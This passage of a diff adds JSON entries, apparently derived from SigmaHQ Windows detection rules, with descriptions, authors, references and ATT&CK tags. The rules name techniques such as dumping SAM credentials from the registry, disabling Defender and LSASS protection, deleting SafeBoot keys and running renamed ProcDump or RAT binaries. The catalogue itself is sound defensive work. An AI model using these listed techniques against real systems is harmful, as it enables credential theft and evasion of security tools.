"https://twitter.com/kmkz_security/status/1220694202301976576", + "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_hijack_shadowing.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1563.002" + ] + }, + "uuid": "6ba5a05f-b095-4f0a-8654-b825f4f16334", + "value": "MSTSC Shadowing" + }, + { + "description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_redirect_local_admin_share.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_local_admin_share.yml" + ], + "tags": "No established tags" + }, + "uuid": "ab9e3b40-0c85-4ba1-aede-455d226fd124", + "value": "Suspicious Redirection to Local Admin Share" + }, + { + "description": "Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session", + "meta": { + "author": "frack113", + "creation_date": "2022/02/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_redirect_to_stream.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md#atomic-test-3---create-ads-command-prompt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_to_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "70e68156-6571-427b-a6e9-4476a173a9b6", + "value": "Cmd Stream Redirection" + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "meta": { + "author": "Alexander Rausch", + "creation_date": "2020/06/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_redmimicry_winnti_proc.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redmimicry_winnti_proc.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1106", + "attack.t1059.003", + "attack.t1218.011" + ] + }, + "uuid": "95022b85-ff2a-49fa-939a-d7b8f56eeb9b", + "value": "RedMimicry Winnti Playbook Execute" + }, + { + "description": "Detects the export of a crital Registry key to a file.", + "meta": { + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" + ], + "filename": "proc_creation_win_regedit_export_critical_keys.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1012" + ] + }, + "uuid": "82880171-b475-4201-b811-e9c826cd5eaa", + "value": "Exports Critical Registry Keys To a File" + }, + { + "description": "Detects the export of the target Registry key to a file.", + "meta": { + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "Legitimate export of keys" + ], + "filename": "proc_creation_win_regedit_export_keys.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1012" + ] + }, + "uuid": "f0e53e89-8d22-46ea-9db5-9d4796ee2f8a", + "value": "Exports Registry Key To a File" + }, + { + "description": "Detects the import of the specified file to the registry with regedit.exe.", + "meta": { + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "Legitimate import of keys", + "Evernote" + ], + "filename": "proc_creation_win_regedit_import_keys.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ] + }, + "uuid": "73bba97f-a82d-42ce-b315-9182e76c57b1", + "value": "Imports Registry Key From a File" + }, + { + "description": "Detects the import of a alternate datastream to the registry with regedit.exe.", + "meta": { + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_regedit_import_keys_ads.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ] + }, + "uuid": "0b80ade5-6997-4b1d-99a1-71701778ea61", + "value": "Imports Registry Key From an ADS" + }, + { + "description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.", + "meta": { + "author": "Eli Salem, Sander Wiebing, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Legitimate modification of keys" + ], + "filename": "proc_creation_win_regini.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ] + }, + "uuid": "5f60740a-f57b-4e76-82a1-15b6ff2cb134", + "value": "Modifies the Registry From a File" + }, + { + "description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.", + "meta": { + "author": "Eli Salem, Sander Wiebing, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_regini_ads.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ] + }, + "uuid": "77946e79-97f1-45a2-84b4-f37b5c0d8682", + "value": "Modifies the Registry From a ADS" + }, + { + "description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/06/28", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", + "Legitimate administrator sets up autorun keys for legitimate reasons.", + "Discord" + ], + "filename": "proc_creation_win_reg_add_run_key.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", + "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "de587dce-915e-4218-aac4-835ca6af6f70", + "value": "Reg Add RUN Key" + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_reg_add_safeboot.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "d7662ff6-9e97-4596-a61d-9839e32dee8d", + "value": "Add SafeBoot Keys Via Reg Utility" + }, + { + "description": "Qbot used reg.exe to add Defender folder exceptions for folders within AppData and ProgramData.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/13", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_reg_defender_exclusion.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://redcanary.com/threat-detection-report/threats/qbot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "48917adc-a28e-4f5d-b729-11e75da8941f", + "value": "Registry Defender Exclusions" + }, + { + "description": "Detects reg command lines that disable certain important features of Microsoft Defender", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/22", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_reg_defender_tampering.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_tampering.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "452bce90-6fb0-43cc-97a5-affc283139b3", + "value": "Registry Defender Tampering" + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products", + "meta": { + "author": "Nasreddine Bencherchali, Tim Shelton", + "creation_date": "2022/08/08", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_reg_delete_safeboot.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "fc0e89b5-adb0-43c1-b749-c12a10ec37de", + "value": "Delete SafeBoot Keys Via Reg Utility" + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_reg_delete_services.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "05b2aa93-1210-42c8-8d9a-2fcc13b284f5", + "value": "Delete Services Via Reg Utility" + }, + { + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", + "meta": { + "author": "frack113", + "creation_date": "2022/01/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_reg_dump_sam.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dump_sam.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e", + "value": "Registry Dump of SAM Creds and Secrets" + }, + { + "description": "Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' subkeys", + "meta": { + "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", + "creation_date": "2022/02/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_reg_enable_rdp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enable_rdp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.lateral_movement", + "attack.t1021.001", + "attack.t1112" + ] + }, + "uuid": "0d5675be-bc88-4172-86d3-1e96a4476536", + "value": "Enabling RDP Service via Reg.exe" + }, + { + "description": "Detects the import of the '.reg' files from suspicious paths using the 'reg.exe' utility", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Legitimate import of keys" + ], + "filename": "proc_creation_win_reg_import_from_suspicious_paths.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ] + }, + "uuid": "62e0298b-e994-4189-bc87-bc699aa62d97", + "value": "Imports Registry Key From a File Using Reg.exe" + }, + { + "description": "Detects reg command lines that disables PPL on the LSA process", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/22", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_reg_lsass_ppl.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsass_ppl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.010" + ] + }, + "uuid": "8c0eca51-0f88-4db2-9183-fdfb10c703f9", + "value": "Registry Disabling LSASS PPL" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_reg_service_imagepath_change.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.011" + ] + }, + "uuid": "9b0b7ac3-6223-47aa-a3fd-e8f211e637db", + "value": "Service ImagePath Change with Reg.exe" + }, + { + "description": "Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_remote_desktop_tunneling.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_desktop_tunneling.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021" + ] + }, + "uuid": "8a3038e8-9c9d-46f8-b184-66234a160f6f", + "value": "Potential Remote Desktop Tunneling" + }, + { + "description": "Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_remote_file_download_desktopimgdownldr.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_file_download_desktopimgdownldr.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "214641c2-c579-4ecb-8427-0cf19df6842e", + "value": "Remote File Download via Desktopimgdownldr Utility" + }, + { + "description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/09/12", + "falsepositive": [ + "Legitimate usage of remote Powershell, e.g. for monitoring purposes." + ], + "filename": "proc_creation_win_remote_powershell_session_process.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_powershell_session_process.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1021.006" + ] + }, + "uuid": "734f8d9b-42b8-41b2-bcf5-abaf49d5a3c8", + "value": "Remote PowerShell Session Host Process (WinRM)" + }, + { + "description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate use of the system utilities to discover system time for legitimate reason" + ], + "filename": "proc_creation_win_remote_time_discovery.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1124" + ] + }, + "uuid": "b243b280-65fe-48df-ba07-6ddea7646427", + "value": "Discovery of a System Time" + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files", + "meta": { + "author": "frack113", + "creation_date": "2021/07/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_remove_windows_defender_definition_files.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remove_windows_defender_definition_files.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "9719a8aa-401c-41af-8108-ced7ec9cd75c", + "value": "Remove Windows Defender Definition Files" + }, + { + "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", + "meta": { + "author": "Matthew Green - @mgreen27, Ecco, James Pemberton / @4A616D6573, oscd.community (improvements), Andreas Hunkeler (@Karneades)", + "creation_date": "2019/06/15", + "falsepositive": [ + "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist", + "PsExec installed via Windows Store doesn't contain original filename field (False negative)" + ], + "filename": "proc_creation_win_renamed_binary.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1036/", + "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "36480ae1-a1cb-4eaa-a0d6-29801d7e9142", + "value": "Renamed Binary" + }, + { + "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", + "meta": { + "author": "Matthew Green - @mgreen27, Florian Roth", + "creation_date": "2019/06/15", + "falsepositive": [ + "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist" + ], + "filename": "proc_creation_win_renamed_binary_highly_relevant.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1036/", + "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "0ba1da6d-b6ce-4366-828c-18826c9de23e", + "value": "Highly Relevant Renamed Binary" + }, + { + "description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)", + "meta": { + "author": "Max Altgelt", + "creation_date": "2022/06/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_browsercore.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mariuszbit/status/1531631015139102720", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml" + ], + "tags": [ + "attack.t1528", + "attack.t1036.003" + ] + }, + "uuid": "8a4519e8-e64a-40b6-ae85-ba8ad2177559", + "value": "Process Creation with Renamed BrowserCore.exe" + }, + { + "description": "Detects execution of renamed ftp.exe binary based on OriginalFileName field", + "meta": { + "author": "Victor Sergeev, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_ftp.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "277a4393-446c-449a-b0ed-7fdc7795244c", + "value": "Renamed FTP.EXE Binary Execution" + }, + { + "description": "Detects renamed jusched.exe used by cobalt group", + "meta": { + "author": "Markus Neis, Swisscom", + "creation_date": "2019/06/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_jusched.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "edd8a48c-1b9f-4ba1-83aa-490338cd1ccb", + "value": "Renamed jusched.exe" + }, + { + "description": "Detects the execution of a renamed meg.exe of MegaSync during incident response engagements associated with ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.", + "meta": { + "author": "Sittikorn S", + "creation_date": "2021/06/22", + "falsepositive": [ + "Software that illegaly integrates MegaSync in a renamed form", + "Administrators that have renamed MegaSync" + ], + "filename": "proc_creation_win_renamed_megasync.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/rclone-mega-extortion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "643bdcac-8b82-49f4-9fd9-25a90b929f3b", + "value": "Renamed MegaSync" + }, + { + "description": "Detects process creation with a renamed Msdt.exe", + "meta": { + "author": "pH-T", + "creation_date": "2022/06/03", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_renamed_msdt.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "bd1c6866-65fc-44b2-be51-5588fcff82b9", + "value": "Renamed Msdt.exe" + }, + { + "description": "Detects execution of renamed client32.exe (NetSupport RAT) via Imphash, Product and OriginalFileName strings", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_netsupport_rat.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "0afbd410-de03-4078-8491-f132303cb67d", + "value": "Execution of Renamed NetSupport RAT" + }, + { + "description": "Detects execution of renamed paexec via imphash and executable product string", + "meta": { + "author": "Jason Lynch", + "creation_date": "2019/04/17", + "falsepositive": [ + "Unknown imphashes" + ], + "filename": "proc_creation_win_renamed_paexec.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003", + "attack.g0046", + "car.2013-05-009", + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "7b0666ad-3e38-4e3d-9bab-78b06de85f7b", + "value": "Execution of Renamed PaExec" + }, + { + "description": "Execution of a renamed version of the Plink binary", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_plink.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "1c12727d-02bf-45ff-a9f3-d49806a3cf43", + "value": "Execution Of Renamed Plink Binary" + }, + { + "description": "Detects the execution of a renamed PowerShell often used by attackers or malware", + "meta": { + "author": "Florian Roth, frack113", + "creation_date": "2019/08/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_powershell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/christophetd/status/1164506034720952320", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_powershell.yml" + ], + "tags": [ + "car.2013-05-009", + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20", + "value": "Renamed PowerShell" + }, + { + "description": "Detects the execution of a renamed ProcDump executable often used by attackers or malware", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/11/18", + "falsepositive": [ + "Procdump illegaly bundled with legitimate software", + "Weird admins who renamed binaries (and should be investigated)" + ], + "filename": "proc_creation_win_renamed_procdump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + 